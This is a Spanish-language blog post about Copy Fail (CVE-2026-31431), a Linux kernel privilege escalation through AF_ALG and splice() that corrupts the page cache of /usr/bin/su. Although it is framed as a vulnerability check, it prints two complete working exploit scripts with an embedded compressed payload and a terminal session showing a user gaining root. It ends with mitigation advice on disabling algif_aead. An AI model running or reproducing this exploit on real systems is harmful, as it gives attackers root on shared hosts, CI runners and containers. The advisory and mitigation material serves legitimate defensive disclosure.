Copy Fail: 732 bytes para cambiar a root en todas las principales distribuciones Linux
Autor: Joel Barrios
Thu, 30 Apr 2026 1:20:00
X.com Facebook Reddit LinkedIn Email
Copy Fail (CVE-2026-31431) es un fallo de escalada de privilegios en Linux que permite a cualquier usuario local obtener acceso de administrador mediante un guion de instrucciones escrito en Python de tan solo 732 bytes. Este guion funciona en prácticamente todas las principales distribuciones Linux lanzadas desde 2017.
- Sitio web: https://copy.fail
- Artículo: https://xint.io/blog/copy-fail-linux-distributions
- GitHub: https://github.com/theori-io/copy-fail-CVE-2026-31431
- OpenCVE: https://app.opencve.io/cve/CVE-2026-31431
Se trata de una vulnerabilidad lógica en el código criptográfico del núcleo de Linux ―autenticación mediante AF_ALG y splice()― que permite una pequeña escritura en la caché de páginas. Esta escritura puede usarse para manipular un binario setuid como /usr/bin/su.
Imagine el grave impacto que ésto tendrá en entornos compartidos como Kubernetes, ejecutores de CI y entornos de prueba en la nube, donde permite la fuga de contenedores y el compromiso del inquilino hacia el anfitrión.
Descubierto por el escáner de código Xint de Theori, con un parche ya aplicado en el núcleo de Linux principal y divulgado públicamente el 29 de abril de 2026. Mientras se aplica el parche, la solución recomendada es deshabilitar el módulo algif_aead.
Éste es el código para verificar si el sistema es vulnerable (adaptado para ALDOS, que utiliza el estándar Filesystem 2):
#!/usr/bin/python3.13
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Éste es el código original que se publicó como muestra:
#!/usr/bin/python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Hemos comprobado el funcionamiento en varias distribuciones Linux actualizadas a la fecha; prácticamente todas son vulnerables. He aquí un ejemplo:
[jbarrios@joel-rizen5 ~]$ id
uid=1000(jbarrios) gid=1000(jbarrios) grupos=1000(jbarrios),10(wheel),39(video),135(mock),360(gamemode),361(seat),366(clamscan),469(clamupdate),471(wireshark),480(vboxusers)
python3.13 copy_fail_exp.py
[root@joel-rizen5 jbarrios]# id
uid=0(root) gid=1000(jbarrios) grupos=1000(jbarrios),10(wheel),39(video),135(mock),360(gamemode),361(seat),366(clamscan),469(clamupdate),471(wireshark),480(vboxusers)
[root@joel-rizen5 jbarrios]#
Obviamente es un tema muy delicado que afecta a prácticamente todas las distribuciones Linux. Es importante validar si ya existe una actualización disponible para la distribución que utiliza en los días siguientes, aplicarla y reiniciar el sistema.
Prácticamente todas las distribuciones Linux compilan con la opción CONFIG_CRYPTO_USER_API_AEAD=y para el módulo algif_aead, por lo que resulta irrelevante aplicar las siguientes recomendaciones (que algunos expertos sugieren):
echo "blacklist algif_aead" > /etc/modprobe.d/copy-fail.conf
O bien:
echo "install algif_aead /bin/false" > /etc/modprobe.d/copy-fail.conf
Una forma de mitigar el problema es compilar el núcleo de Linux con CONFIG_CRYPTO_USER_API_AEAD=m en lugar de CONFIG_CRYPTO_USER_API_AEAD=y y entonces utilizar cualquiera de las dos soluciones propuestas para /etc/modprobe.d/copy-fail.conf mientras se publican paquetes con las correcciones oficiales para el núcleo de Linux.
¿Qué problemas ocasiona deshabilitar algif_aead? Para la gran mayoría de los sistemas, ninguno perceptible.
Carece de efectos perjudiciales para: dm-crypt/LUKS, kTLS, IPsec/XFRM, el TLS integrado en el núcleo de Linux, las compilaciones predeterminadas de OpenSSL/GnuTLS/NSS, SSH ni el cifrado del llavero del núcleo de Linux. Todos estos sistemas utilizan directamente la API de cifrado integrada en el núcleo, sin pasar por AF_ALG.
Podría afectar a: el espacio de usuario configurado específicamente para usar AF_ALG, por ejemplo, OpenSSL con el motor AF_ALG habilitado explícitamente, algunas rutas de descarga de cifrado integradas o aplicaciones que enlazan directamente zócalos aead/skcipher/hash. Si tiene dudas, verifique con lsof | grep AF_ALG o ss -xa.
Rendimiento: AF_ALG es una puerta de entrada del espacio de usuario a la API de cifrado del núcleo. Deshabilitar este módulo únicamente afecta el rendimiento de aquellos sistemas que ya hacían uso de AF_ALG; para ellos, el rendimiento pasa a ser equivalente al de una biblioteca de cifrado normal del espacio de usuario, el mismo que emplean casi todos los demás sistemas.